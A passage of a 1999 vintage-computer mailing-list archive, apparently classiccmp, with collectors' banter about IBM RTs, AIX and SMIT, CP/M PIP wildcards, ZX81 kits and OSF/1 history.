feel the PC was shortchanged and that progress was stifled for a very long time due to this short-sighted weenie. The Altair, BASIC, and CP/M essentially evolved from 1960 era minicomputer technology. Perhaps RAM was too expensive for something as cool as the Amiga to have happened in 1975, but if Bill Gates had stayed home and Linus Torvalds had been born a little earlier, man what a cool world we'd have today, 25 years later. -- Doug From meo at netads.com Sat Jan 9 01:02:52 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: DECstation 5000/125 In-Reply-To: <02ea01be3b62$a1421950$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 8, 99 03:57:13 pm Message-ID: <199901090702.BAA23378@wildride.netads.com> Joseph S. Barrera III said... | |Okay, okay, so a DECstation 5000/125 isn't very "vintage". But I did manage |to save one from certain death from my grad school (Carnegie Mellon), and it |has a nice big 21" monitor, two big 5 1/4" SCSI drives (each around 1/2 a |GB)... and no bootable OS. | |It used to run Mach (I was on the Mach project at CMU), but I'd really like |to run VMS on the thing. as someone noted, no luck on VMS. OS/1 might run on it. Or you could port Linux. Or start the VMSix project! -Miles From meo at netads.com Sat Jan 9 01:12:09 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: y2k stuff In-Reply-To: <199901090219.SAA29193@mxu4.u.washington.edu> from "Dann Lunsford" at Jan 8, 99 05:53:59 pm Message-ID: <199901090712.BAA23442@wildride.netads.com> Dann Lunsford said... | |Gaaahhhhh..... I was hoping I had recovered.... *sob* You've made me a very happy man. I swore I'd never do COBOL or IBM PCs. I was once reduced to doing COBOL on an XT for 6 months. I have finally forgotten pretty much all of it, even the pain. I'm so happy! -Miles From meo at netads.com Sat Jan 9 01:15:58 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: from "Zane H. Healy" at Jan 8, 99 06:20:45 pm Message-ID: <199901090715.BAA23472@wildride.netads.com> Zane H. Healy said... | |Number 7?!?!?!? Give me a break, there is no better coffee table than a |BA123, unless it's perhaps some of the IBM RS/6000's (and that's all |they're good for) heh. I've a good mind to send a gaggle of RTs to your door! From yowza at yowza.com Sat Jan 9 01:11:21 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:54 2005 Subject: Alan/Andy Kay In-Reply-To: <008f01be3b9b$f22233d0$11d53d9d@JOEBAR> Message-ID: On Fri, 8 Jan 1999, Joseph S. Barrera III wrote: > Alan Kay is also still around and quite active in the Squeak community, > Squeak being a portable revival of Smalltalk. He's now at Disney, believe it > or not. Along with Danny Hillis and other stars. I'm going to Disneyland! > Which leads to the question... anyone on this list have any Xerox Stars > (running Smalltalk, of course)? Stars? You don't want an Alto? Yes, there's at least one Star owner on the list (and I don't remember if he "outed" himself). No Alto, though. I've got a Daybreak, the successor to the Star, and I'll be getting rid of an extra one pretty soon. Inquiries welcome. -- Doug From meo at netads.com Sat Jan 9 01:19:45 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <4.1.19990108193424.00a0bdf0@208.226.86.10> from "Chuck McManis" at Jan 8, 99 07:35:48 pm Message-ID: <199901090719.BAA23522@wildride.netads.com> Chuck McManis said... | |You guessed it the COSMAC Elf! And IIRC, the article was "Build a COSMAC |Elf for Less than $100" |Anyone got the issue date? No, but I recall the article. And I have the Osbourne microcomputer book that talks about the ELF, et al. It's still packed away from the move; I've been trying to decide which set of boxes to tackle next. -Miles From jpero at pop.cgocable.net Fri Jan 8 20:21:27 1999 From: jpero at pop.cgocable.net (jpero@pop.cgocable.net) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: <199901090715.BAA23472@wildride.netads.com> References: from "Zane H. Healy" at Jan 8, 99 06:20:45 pm Message-ID: <199901090715.CAA19351@mail.cgocable.net> > Date: Sat, 9 Jan 1999 01:15:58 -0600 (CST) > Reply-to: classiccmp@u.washington.edu > From: meo@netads.com (Miles O'Neal) > To: "Discussion re-collecting of classic computers" > Subject: Re: new to the list > Zane H. Healy said... > | > |Number 7?!?!?!? Give me a break, there is no better coffee table than a > |BA123, unless it's perhaps some of the IBM RS/6000's (and that's all > |they're good for) > > heh. > > I've a good mind to send a gaggle of RTs to your door! > Many Q's Is those RT's that bad? is there will be a problem if I tear it apart for its parts, the shipping and trying to selling would be a problem except no problem shipping parts except for case. If you're really using the classics and using it as tables or something, protect them from spills, bumps etc.. email: jpero@cgocable.net Pero, Jason D. From meo at netads.com Sat Jan 9 01:22:48 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <199901090507.VAA32253@saul7.u.washington.edu> from "D. Peschel" at Jan 8, 99 09:07:20 pm Message-ID: <199901090722.BAA23587@wildride.netads.com> D. Peschel said... | |You can use wildcards * and ? to specify the file on B:. They work the same |way as in DOS (unfortunately). If you specify one file on B:, you can give |it a different name on A: by adding the name before the equals sign. No, Dos works the same way as CP/M, unfortunately. CP/M was OK for its time, but DOS really should have been better. And it might have been, had a certain Mr. Gates not snookered its developer & sold the thing to IBM... -Miles From healyzh at aracnet.com Sat Jan 9 01:31:26 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: <3696F7AF.380E3094@cnct.com> References: Message-ID: >Zane H. Healy wrote: > >> Number 7?!?!?!? Give me a break, there is no better coffee table than a >> BA123, unless it's perhaps some of the IBM RS/6000's (and that's all >> they're good for) > >Zane, where do you live? Bill Donzelli and I need to make an >appointment to come out and hurt you. Would it help if I explained I've got a RS/6000 sitting under my desk at work that I'm not about to give up, not even for a Linux box? It's old, it's slow, and it's been up for well over 6 months. They've been trying to get me to give it up for over a year now. I was refering to the ancient RS/6k's about the size of a BA123, that we still have a bunch. They make good chairs, a bit high, but they're built like a rock. Of course don't take any of this as meaning that I actually _LIKE_ AIX! Zane >In over 15 years of Unix sysadmining, AIX is the one with the best >tools I've found from a commercial supplier -- if somebody was to >port SMIT to Linux, my life would approach perfection. >-- >Ward Griffiths > >WARNING: The Attorney General has determined that Alcohol, Tobacco, >and Firearms can be hazardous to your health -- and get away with it. | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From meo at netads.com Sat Jan 9 01:37:23 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: RT - the rude, the bad, and the ugly Message-ID: <199901090737.BAA23642@wildride.netads.com> jpero@pop.cgocable.net said... | |Is those RT's that bad? is there will be a problem if I tear it |apart for its parts, the shipping and trying to selling would be a |problem except no problem shipping parts except for case. RTs were pretty bad. They were s l o o o o w w w... And they had the most bastardized version of anything daring to claim any kinship to UNIX that you can imagine. The manuals were terrible. I suspect that if you were from an IBM mainframe world, being forced at gunpoint to consider PCs and UNIX and such, they were heaven-sent. But to those of us already working with workstations and micros, they were the Red Menace that Senator McCarthy warned the world about - they just happened to be Blue. |If you're really using the classics and using it as tables or |something, protect them from spills, bumps etc.. Quick vignettes... 1) I contracted for IBM here in Austin for a while. There was an RT on the austin.ibm.com network named "doorstop". AFAIK, about all it was being used for was to answer the pings for "doorstop". 2) At PSW, Frank King (the IBM upper manager who more or less built the IBM workstation division) had just been installed as president when we took him on a tour of the premises. As we escorted him into the secure lab, his eyes lit up as he saw an RT. ``An RT! Wonderful! What do you use this for?'' Tom Stewart pushed it in front of the door to hold it open. ``A doorstop? What else?'' 3) During the time I was at IBM (14 months) I saw rooms and rooms full of RTs. I kinda have to laugh, thinking about what they were paying for space. One of the graphics labs had about 30 linear feet of wall space, 10 feet high, just stacked with the processor boxes, because they were running out of other places to put them. I never figured out what they were doing with them - whether they couldn't give them away, or were afraid to, or what. If I had one, I would probably protect it. If I had two, I would protect one. For the other, I would have an auction. The high bidder would get to step out back onto the rifle range (why have 5 acre sin Texas without a rifle range?), and put a 7.62mm bullet into the RT's evil, beating heart. And in Austin, there would be *lots* of bidders. I might not make $6,818.00, but I'd make enough to pay my ISDN bill for a while... -Miles Nah, I'm sure there are 3rd world countries that would take them. But after they had them a while, they'd be even more pissed at the US than they are now... 8^/ From meo at netads.com Sat Jan 9 01:37:54 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! In-Reply-To: from "Doug Yowza" at Jan 8, 99 11:07:52 pm Message-ID: <199901090737.BAA23653@wildride.netads.com> Doug Yowza said... | |I still say it was the ZX81. What do I win, Alex? I never saw that in a kit form... From meo at netads.com Sat Jan 9 01:43:37 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: <3696F7AF.380E3094@cnct.com> from "Ward Donald Griffiths III" at Jan 9, 99 01:31:11 am Message-ID: <199901090743.BAA23721@wildride.netads.com> Ward Donald Griffiths III said... | |In over 15 years of Unix sysadmining, AIX is the one with the best I wouldn't go quite that far, but they eventually did get a lot of things right. AIX 1.0, though, was officially The Pits. |tools I've found from a commercial supplier -- if somebody was to |port SMIT to Linux, my life would approach perfection. If they did, and trie dto put it on my system, I'd have to hurt them. But I freely admit to lusting after the volume manager! -Miles From gram at cnct.com Sat Jan 9 01:47:04 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:54 2005 Subject: Message formats References: <3.0.16.19990108154650.43775790@ricochet.net> Message-ID: <36970978.BAD75CC0@cnct.com> Uncle Roger wrote: > I dunno, but if you can't describe something adequately with plain text > plus attachements (as in included when necessary) perhaps you don't > understand your subject well enough. If you need to include formatting > (such as Word files or data or even code) it can be sent as an attachment > (which, I might add, is more useable than trying to cut and paste from an > e-mail message.) What code (I assume we mean programming, not encryption) could ever need formatting aside from appropriate indents? (The progam's compiler shouldn't even require those). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From meo at netads.com Sat Jan 9 01:49:10 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: from "Doug Yowza" at Jan 9, 99 00:56:57 am Message-ID: <199901090749.BAA23749@wildride.netads.com> Doug Yowza said... | |Yup, Gates wasn't ripping off Kemeny and Kurtz, he was just implementing |an already popular bad language that many others had implemented as well. From meo at netads.com Sat Jan 9 01:50:41 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: from "Zane H. Healy" at Jan 8, 99 11:31:26 pm Message-ID: <199901090750.BAA23764@wildride.netads.com> Zane H. Healy said... | |I was refering to the ancient RS/6k's about the size of a BA123, that we |still have a bunch. They make good chairs, a bit high, but they're built |like a rock. I will happily take any RS/6K off the hands of anyone who doesn't want it. 8^) -Miles From dpeschel at u.washington.edu Sat Jan 9 01:47:08 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <199901090722.BAA23587@wildride.netads.com> from "Miles O'Neal" at Jan 9, 99 01:22:48 am Message-ID: <199901090747.XAA29660@saul6.u.washington.edu> > D. Peschel said... > | > |You can use wildcards * and ? to specify the file on B:. They work the same > |way as in DOS (unfortunately). If you specify one file on B:, you can give > |it a different name on A: by adding the name before the equals sign. > > No, Dos works the same way as CP/M, unfortunately. Apparently I was unclear. You can use wildcards * and ? to specify the file on B:. They work the same way as in DOS. So you can type PIP A:=B:*.COM copies all .COM files PIP A:=B:???.COM copies all .COM files with three-char names PIP A:=B:*A.COM copies all .COM files (surprise!) Obviously we agree on this part. If you specify ONLY ONE file on B:, you can rename it on A:. PIP A:DEBUG.COM=B:DDT.COM copies B:DDT.COM to A:DEBUG.COM By "one" I meant "only one", not "each". Does that help? Did you think I wrote something entirely different? > CP/M was OK for its time, but DOS really should > have been better. And it might have been, had a > certain Mr. Gates not snookered its developer & > sold the thing to IBM... Yes, it should have. And the more MS waited to improve DOS (because there was no incentive since they already had a monopoly, or because they were sloppy programmers, or for backward-compatibility reasons) the more excruciating the thought of improvements which would break old programs became. If they had just ripped off a better OS, that might have been nice as well. Something with long file names, or multitasking, or whatever. And OSs of the time DID have long file names. I don't know about multitasking (maybe OS/9 or FLEX were around when DOS was born?). There was a column in, I think, _MacWeek_. It went roughly like this: Steve Jobs, in a fit of angst, wishes the Mac had never been born. A guardian angel (a la _It's a Wonderful Life_) grants him his wish. We read about the Apple corporate headquarters (with a big "Microsoft South" sign out front), as well as an Internet cafe. The cafe only has a few people, typing away on clunky monochrome PC clones (running DOS 15.5). Jobs says, "Those people look like math professors!" "They *are* math professors!" (obvious, I guess). With no fancy graphics or GUI, only a math professor would want to use the Internet. :) Of course the column was self-serving of Apple, glossing over the things Apple has inflicted on the computer industry. But it does make the point that incentives to quality are necessary, especially where Microsoft is concerned. -- Derek From meo at netads.com Sat Jan 9 01:52:43 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: AIX 1.x In-Reply-To: <199901090743.BAA23721@wildride.netads.com> from "Miles O'Neal" at Jan 9, 99 01:43:37 am Message-ID: <199901090752.BAA23784@wildride.netads.com> Miles O'Neal said... | |I wouldn't go quite that far, but they eventually |did get a lot of things right. AIX 1.0, though, |was officially The Pits. I know, it was 1.0, what do you expect? OK, well, 2.0 still sucked, and I wouldn't even *touch* the stuff until either 3.1.5 or 3.2, I forget which. -Miles and don't get me started about the PS/2 AIX... From yowza at yowza.com Sat Jan 9 01:48:18 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <199901090737.BAA23653@wildride.netads.com> Message-ID: On Sat, 9 Jan 1999, Miles O'Neal wrote: > |I still say it was the ZX81. What do I win, Alex? > > I never saw that in a kit form... Oh, really? That must mean that a kit is quite RARE, no? How much would you pay for an UNASSEMBLED ZX81 KIT (L@@K, RARE!)? (I have an extra.) The ZX81 was offered as both a kit and as assembled, but only the kit was offered for the low low price of $99. -- Doug From dpeschel at u.washington.edu Sat Jan 9 01:52:35 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: <199901090743.BAA23721@wildride.netads.com> from "Miles O'Neal" at Jan 9, 99 01:43:37 am Message-ID: <199901090752.XAA19987@saul6.u.washington.edu> > I wouldn't go quite that far, but they eventually > did get a lot of things right. AIX 1.0, though, > was officially The Pits. What _I_ want to know is the relationship between OSF/1, a.k.a. Digital UNIX, and AIX. The manual entry for stanza(4) on our DEC system is the same as OSF/1 1.0, and it's SO badly written that only IBM could have done it. Plus stanzas are an IBM-ism anyway. I bet the entry is pretty much the same on AIX systems, too. (I just checked and our AIX doesn't have it. So I don't know -- it's just a guess.) -- Derek From netcafe at pirie.mtx.net.au Sat Jan 9 01:32:29 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list Message-ID: <01be3ba2$363905c0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Miles O'Neal To: Discussion re-collecting of classic computers Date: Saturday, 9 January 1999 18:42 Subject: Re: new to the list >I've a good mind to send a gaggle of RTs to your door! You can send them to mine if you like, I don't have one, and I'd love geniune Big Blue RISC machine of my very own..... Do they come with an O/S? :^) Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From meo at netads.com Sat Jan 9 02:09:07 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <199901090747.XAA29660@saul6.u.washington.edu> from "D. Peschel" at Jan 8, 99 11:47:08 pm Message-ID: <199901090809.CAA23905@wildride.netads.com> D. Peschel said... | |> No, Dos works the same way as CP/M, unfortunately. | |Apparently I was unclear. No, you were clear. You missed my point. CP/M came first, then DOS. Therefore DOS worked liked CP/M, not the other way around. Your technical explanation was fine, I was just nitpicking. I refuse to give Micro$oft or Bill Gates one damned iota of glory after all they stole from others. |Yes, it should have. And the more MS waited to improve DOS (because there |was no incentive since they already had a monopoly, or because they were |sloppy programmers, or for backward-compatibility reasons) the more |excruciating the thought of improvements which would break old programs DEC pulled it off with VMS. The people who had to have the old compatibility just kept running the old hardware and software, and everyone else moved forwards. And right happy about it most of us were. We ended up with an awesome development system that did OK for realtime (VAX/VMS) and an awesome realtime system that still needed better developer tools (PDP/whatever) 8^) |became. If they had just ripped off a better OS, that might have been nice |as well. Something with long file names, or multitasking, or whatever. |And OSs of the time DID have long file names. I don't know about |multitasking (maybe OS/9 or FLEX were around when DOS was born?). VMS was at least in the works, and UNIX was around in some forms. There was precedent. But the guy hacking DOS was just messing around, trying to do a slightly better CP/M (as was Digital Research, who GAVE AWAY the whole stinking computer world to Bill Gates on a silver platter, with a military escort, and a ticker tape parade. For crying out loud, the first versions of UNIX ran on minis that didn't have any more memory space than micros. (OK, so they had 16 bit processors, I know. So did the PC! Sort of...) Not that I'm bitter, you understand. 8^) -Miles From meo at netads.com Sat Jan 9 02:09:55 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list In-Reply-To: <01be3ba2$363905c0$f17d38cb@netcafe.pirie.mtx.net.au> from "Computer Room Internet Cafe" at Jan 9, 99 06:02:29 pm Message-ID: <199901090809.CAA23914@wildride.netads.com> Computer Room Internet Cafe said... | |You can send [RTs] to [my door] if you like, I don't have one, and I'd love If I had some to send, I would. |geniune Big Blue RISC machine of my very own..... Do they come with an |O/S? No, just AIX 1.0 . 8^) -Miles From meo at netads.com Sat Jan 9 02:10:46 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! In-Reply-To: from "Doug Yowza" at Jan 9, 99 01:48:18 am Message-ID: <199901090810.CAA23924@wildride.netads.com> Doug Yowza said... | |Oh, really? That must mean that a kit is quite RARE, no? How much would |you pay for an UNASSEMBLED ZX81 KIT (L@@K, RARE!)? (I have an extra.) I dunno, maybe $10. -Miles well, you *asked*... From dastar at ncal.verio.com Sat Jan 9 02:09:00 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:55 2005 Subject: Alan/Andy Kay In-Reply-To: <008f01be3b9b$f22233d0$11d53d9d@JOEBAR> Message-ID: On Fri, 8 Jan 1999, Joseph S. Barrera III wrote: > Which leads to the question... anyone on this list have any Xerox Stars Yes. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From netcafe at pirie.mtx.net.au Sat Jan 9 02:11:12 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:55 2005 Subject: RT - the rude, the bad, and the ugly Message-ID: <01be3ba7$9f5e7ee0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Miles O'Neal To: Discussion re-collecting of classic computers Date: Saturday, 9 January 1999 19:03 Subject: RT - the rude, the bad, and the ugly >Quick vignettes... > >1) I contracted for IBM here in Austin for a while. There > was an RT on the austin.ibm.com network named "doorstop". > AFAIK, about all it was being used for was to answer the > pings for "doorstop". > >2) At PSW, Frank King (the IBM upper manager who more or > less built the IBM workstation division) had just been > installed as president when we took him on a tour of the > premises. As we escorted him into the secure lab, his > eyes lit up as he saw an RT. > > ``An RT! Wonderful! What do you use this for?'' > > Tom Stewart pushed it in front of the door to hold it open. > ``A doorstop? What else?'' >The high bidder would get to step out back onto the rifle range >(why have 5 acres in Texas without a rifle range?), and put a >7.62mm bullet into the RT's evil, beating heart. >Nah, I'm sure there are 3rd world countries that would take them. >But after they had them a while, they'd be even more pissed at >the US than they are now... 8^/ Is that possible??? ;^) Having almost choked on my coffee (actually it, was a West End Draught, but I digress) and had my leg scratched by the resident cat who took flight off my lap whilst reading the above, I think it may be time that we required such posts to have an obligatory warning of C&C (Coffee & Cats) variety, so I don't do it again. :^) Any seconders? Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au > From george at racsys.rt.rain.com Sat Jan 9 02:29:25 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! In-Reply-To: Message-ID: I remember when some friends ordered the ZX-81 kit (Although I don't remember if it had that designation). I think they had ordered 10 kits at $99 each. They planned an assembly party. The order arrived on a Friday so they all decided to crank up the assembly line that night after dinner. Finally the fateful moment arrived and they opened the box only to discover a note in the box that they were out of kits and please accept the assembled versions as substitutions. Sorta killed the evening! George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com KD7DCX On Sat, 9 Jan 1999, Doug Yowza wrote: > On Sat, 9 Jan 1999, Miles O'Neal wrote: > > > |I still say it was the ZX81. What do I win, Alex? > > > > I never saw that in a kit form... > > Oh, really? That must mean that a kit is quite RARE, no? How much would > you pay for an UNASSEMBLED ZX81 KIT (L@@K, RARE!)? (I have an extra.) > > The ZX81 was offered as both a kit and as assembled, but only the kit was > offered for the low low price of $99. > > -- Doug > > From netcafe at pirie.mtx.net.au Sat Jan 9 02:13:18 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list Message-ID: <01be3ba7$ea1d0460$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Miles O'Neal To: Discussion re-collecting of classic computers Date: Saturday, 9 January 1999 19:10 Subject: Re: new to the list >Ward Donald Griffiths III said... >|tools I've found from a commercial supplier -- if somebody was to >|port SMIT to Linux, my life would approach perfection. > >If they did, and trie dto put it on my system, I'd have >to hurt them. Ok, as a (currently) AIX deprived person, might I ask WTH is SMIT please? Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From gram at cnct.com Sat Jan 9 02:25:19 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K stuff References: <01be3b77$00fbc6c0$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: <3697126F.A251B94D@cnct.com> Computer Room Internet Cafe wrote: > The plastic stuff lasts somewhat longer, one reason why they now use it > here. > To save money, the govt withdrew all coins below 5c, we now have $1 & $2 > coins, > and notes for $5, $10, $20, $50 & $100, all plastic with fancy printing and > a transparent > window. Near impossible to counterfeit. (Which is the other reason it was > done) When a government gets rid of the smallest denominations of the money, it usually means they've given up and are going into a Weimar 1923 mode -- if this happens _before_ hyperinflation has actually started, be afraid -- they think they know something you don't _and_ they own the printing presses. I'd thought the Aussie dollar was fairly stable presently, but if your government has killed the small change, it's a market to avoid. I often think the only reason the US currency hasn't done that is because pennies are still around, if they were to go away the people would realise how bad it it is and the gubmint does _not_ want that spread around. And the US is still the only country around with a history of a revolution that didn't become worse than the previous choice within a generation. (It took about three generations actually, and let's not discuss the last six or eight). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From meo at netads.com Sat Jan 9 02:25:40 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:55 2005 Subject: OSF/1, DE, IBM, and Tektronix Message-ID: <199901090825.CAA24004@wildride.netads.com> D. Peschel said... | |What _I_ want to know is the relationship between OSF/1, a.k.a. Digital |UNIX, and AIX. The manual entry for stanza(4) on our DEC system is the same |as OSF/1 1.0, and it's SO badly written that only IBM could have done it. |Plus stanzas are an IBM-ism anyway. I bet the entry is pretty much the same |on AIX systems, too. (I just checked and our AIX doesn't have it. So I |don't know -- it's just a guess.) DEC first seriously attacked the UNIX market with Ultrix, which was almost a pure BSD port. Over time they added a bunch of stuff to it. They had a few really cool things, like they dxdiff, easily the best GUI-based diff I've used. Then along came OSF, a hodgepodge of UNIX vendors scared of the idea of Sun and AT&T getting together and taking over the world. So they put together OSF/1. This included people from a whole mess of computer vendors, but DEC and IBM wre probably the biggest contributors. The reference platform was a DECStation ?000 (I forget which one). By the time OSF/1 actually came out, it was obvious that it was a fair example of design by committee, and the AT&T/Sun alliance had pretty well faded away. So DEC, for who knows what reason, oter than that they had the goods, decided to swap Ultrix out and OSF/1 in. And everyone else went back to whatever they had been doing before - AIX, HP/UX, whatever. OSF actually did some cool stuff, but they had some real problems, too. I was working at SecureWare, who was doing the security stuff for OSF/1, and I remember new sandbox drops every day, and bugs that had been fixed reappearing over and over in their original form, and just general mayhem. My favorite part, though, was when we built the kernel and X11 fully debugged, to track down a really nasty problem. Just booting the OS ate up 70 or 80 MB of the 128MB in our DECStation, and adding X11 on the hi-res screen ate up the rest of the RAM and a fair bit of swap space. Then I tried to log in, which took almost an hour exactly, beating the snot out of the disk drive, until it finally came up - having used over 100MB of swap space. Starting a Motif app ate the rest of our 256MB of swap space over the course of two hours or so, at which time the system just rolled over and stuck its little feet up in the air. We never found the bug. Three or four builds later, it was gone, somehow. Nobody at OSF knew where it came from, where it went, or why. Oh, well. My desktop machine at the time was the last of the Tektronix 68K-based systems running a BSD variant. It was slower than their ill-fated 88K systems, but those ran SVR4, and mine was fast enoug for me. It was a spiffy machine for the time. Of course, I was just glad I wasn't running A/UX on really slow Apples like most of my co-workers! -Miles From meo at netads.com Sat Jan 9 02:33:24 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list In-Reply-To: <01be3ba7$ea1d0460$f17d38cb@netcafe.pirie.mtx.net.au> from "Computer Room Internet Cafe" at Jan 9, 99 06:43:18 pm Message-ID: <199901090833.CAA24032@wildride.netads.com> Computer Room Internet Cafe said... |Ok, as a (currently) AIX deprived person, might I ask WTH is SMIT please? System Management Interface Tool. It's a menu-driven system for system management, which would have been OK, except IBM decided that the usual UNIX tools and methods were too slow and too weird, so they wrote an object database to put under it, and by the time they were done, it was slower than any other system management thing available, and made AIX impossible to administer from a UNIX standpoint, because it was so different. SMIT itself is pretty cool. It runs with either a Motif interface or as a curses-based program (text on a tty window or screen), so you can use it anywhere. And once you figure out a few IBMisms, it's not hard to use. But half your UNIX commands are no longer relevant. They might be present, but they may or may not do what you expect. There are a whole bunch of extra commands to manipulate the odb, some intuitive and some not. So any time you can't use SMIT, all your UNIX knowledge is useless. This is true to a small extent with most variants of UNIX (Solaris, HP/UX, Linux, whatever), but it's a huge deal with AIX. If I could have SMIT without the ODB, I'd love it. -Miles for a while there were underground IBM bumper stickers around Austin proclaiming, "SMIT happens!" From sethm at loomcom.com Sat Jan 9 02:29:32 1999 From: sethm at loomcom.com (Seth J. Morabito) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <199901090810.CAA23924@wildride.netads.com> from "Miles O'Neal" at Jan 9, 99 02:10:46 am Message-ID: <199901090829.AAA04915@loomcom.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 706 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/2c25a84c/attachment.ksh From meo at netads.com Sat Jan 9 02:40:46 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <199901090829.AAA04915@loomcom.com> from "Seth J. Morabito" at Jan 9, 99 00:29:32 am Message-ID: <199901090840.CAA24075@wildride.netads.com> Seth J. Morabito said... | |Check out: | | http://www.users.interport.net/~zebra/ts2/products/zx.htm | |They have a bunch of old kits, originals, they're selling for $35 each. It's actually not a bad deal. I just don't need one, and I've other things to spend $40 on right now... -Miles For $10, I might have to From yowza at yowza.com Sat Jan 9 02:36:45 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <199901090829.AAA04915@loomcom.com> Message-ID: On Sat, 9 Jan 1999, Seth J. Morabito wrote: > Well, for $35 you can buy a brand new original kit :) Then resell > it on eBay for the big bucks, I suppose (if you're slimy. Not that > I'm judgemental about that sort of thing...) Ahem. I intentionally didn't disclose this info. Now I'd like to make a plea: will every collector on this list make a mad dash to purchase these, even if you're only vaguely interested. There are members of this list who do have a profit motive, and it's quite likely that the slimey scenario Seth outlined above will occur unless you grab these while you can (Bob: be a nice guy, and don't take advantage of this information). -- Doug From gram at cnct.com Sat Jan 9 02:48:29 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:55 2005 Subject: Need Help was Old bank accounts References: <19990108142018.14a7b6c5.in@mail.pressstart.com> Message-ID: <369717DD.83687BE0@cnct.com> Doug Coward wrote: > > OK, I give up! Since the list is no longer plain text, > will someone familiar with Eudora Pro 4.0 PLEASE tell me > how to configure Eudora it so that formatting like this: Eudora? Can't help much, I'm using Netscape, the program blamed for much of the damage (but I've got it set to send plain text, seems to work, at least I've got no complaints and enough corespondents on plain vt100 or telnet [including _me_ at work), and your text stream was screwed from Netscape and telnet both -- the loss of formatting took place earlier. I guess I could try Eudora, except it would mean booting WABI which can't always find the IP address my ISP assigns my Linux system -- and Eudora is listed on my docs as not working with my vintage of WINE. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From meo at netads.com Sat Jan 9 02:57:31 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:55 2005 Subject: who wrote the Legion article? Message-ID: 